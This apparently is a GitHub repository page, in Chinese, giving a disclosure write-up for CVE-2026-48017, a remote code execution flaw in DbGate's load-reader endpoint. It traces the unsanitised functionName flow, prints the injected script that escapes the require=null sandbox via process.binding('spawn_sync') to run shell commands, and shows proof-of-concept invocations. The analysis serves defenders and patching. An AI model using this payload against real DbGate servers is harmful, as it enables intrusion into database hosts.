romain-deperne/CVE-2026-48017
GitHub: romain-deperne/CVE-2026-48017
该项目是 DbGate 数据库管理工具中 CVSS 8.8 远程代码执行漏洞(CVE-2026-48017)的详细技术分析、根因说明与概念验证。
Stars: 0 | Forks: 0
# CVE-2026-48017 — 通过 `functionName` 注入在 DbGate 中实现远程代码执行
**严重程度**:高 (CVSS 8.8)
**CWE**:CWE-94 — 代码生成控制不当 ('Code Injection')
**受影响版本**:`dbgate-api` ≤ 7.1.8(已在 7.1.9 版本中修复)
**安全公告**:[GHSA-hv83-ggc4-v385](https://github.com/advisories/GHSA-hv83-ggc4-v385)
**NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-48017
**致谢**:Romain Deperne
## 太长不看
`POST /runners/load-reader` endpoint 接收一个 `functionName` 参数,并将其
**直接插入到 JavaScript 模板字符串中**,随后该字符串在一个 forked process 中执行——期间没有进行任何
清理或验证。任何已认证用户(不需要特殊权限)都可以跳出预期的调用,并运行任意 JavaScript,从而在服务器上实现远程代码执行。
forked runner 设置了 `require = null` 作为沙箱,但这可以被轻易绕过:
`process.binding("spawn_sync")` 依然可以被调用,并会生成真实的 OS 进程。
## 发现过程
当时我正在审计 DbGate 的 runner 子系统,以寻找*受保护的*与*不受保护的*代码执行路径之间的差异。`runners.js:292` 处的 `start()` runner 受到了妥善的保护——它调用了
`testStandardPermission('run-shell-script')` 并检查了 `platformInfo.allowShellScripting`。
`loadReader()` 在概念上做着类似的事情(它构建并运行一个 JS 加载器脚本),但
**没有**进行任何此类检查。我追踪了数据流:
```
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
```
`functionName` 由攻击者控制,并落入被执行的模板字符串中。在它前面唯一的代码是 `dbgateApi.`
前缀,并且它是可以转义绕过的:使用 `toString();` 闭合表达式,
注入 payload,并使用 `//` 注释掉尾部的 `(${props})`,就能生成合法的 JS。
## 受影响组件
**文件**:`packages/api/src/controllers/runners.js`(`loadReader` → `loaderScriptTemplate`)
**文件**:`packages/tools/src/packageTools.ts:33`(`compileShellApiFunctionName`)
```
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
```
生成(注入)的脚本:
```
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
```
## 根本原因
编写 `compileShellApiFunctionName()` 的初衷是将短名称转换为完全限定的 API 路径
(`dbgateApi.`),它隐式地信任 `functionName` 是一个标识符。然而,该值
直接来自 HTTP 请求体。因为它被拼接到随后将被
`eval`/forked 的源码中,这种信任假设直接导致了 RCE。`require = null` 沙箱也无济于事——Node 的
内部 `process.binding("spawn_sync")` 可以绕过它。
**修复方案 (7.1.9)**:在将 `functionName` 编译到加载器脚本之前,根据严格的标识符白名单对其进行验证。
## 概念验证
`poc/rce_loadreader_functionname_injection.py` — 端到端驱动真实的 endpoint。
```
# 使用现有的 JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 'id > /tmp/pwned'
# 或先登录
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
```
该脚本构建 `functionName` payload,将其发送到 `POST /runners/load-reader`,并且
注入的 `spawn_sync` 调用会在 forked runner 进程中执行该命令。
## 披露时间线
- 通过 GitHub Security Advisory 私下向维护者报告
- 在 DbGate **7.1.9** 版本中修复
- 安全公告 **GHSA-hv83-ggc4-v385** 于 2026-05-22 发布;分配了 CVE-2026-48017
## 影响
在 DbGate API 宿主机上实现已认证的 RCE。DbGate 是一款数据库管理 GUI,部署时
通常具有连接内部数据库的广泛网络访问范围——在其上执行代码是
进入数据层的强力跳板。
*已负责任地披露。PoC 在修复发布后公开,仅供防御者和检测工程使用。*
标签:GNU通用公共许可证, MITM代理, Node.js, 数据可视化, 数据库工具, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具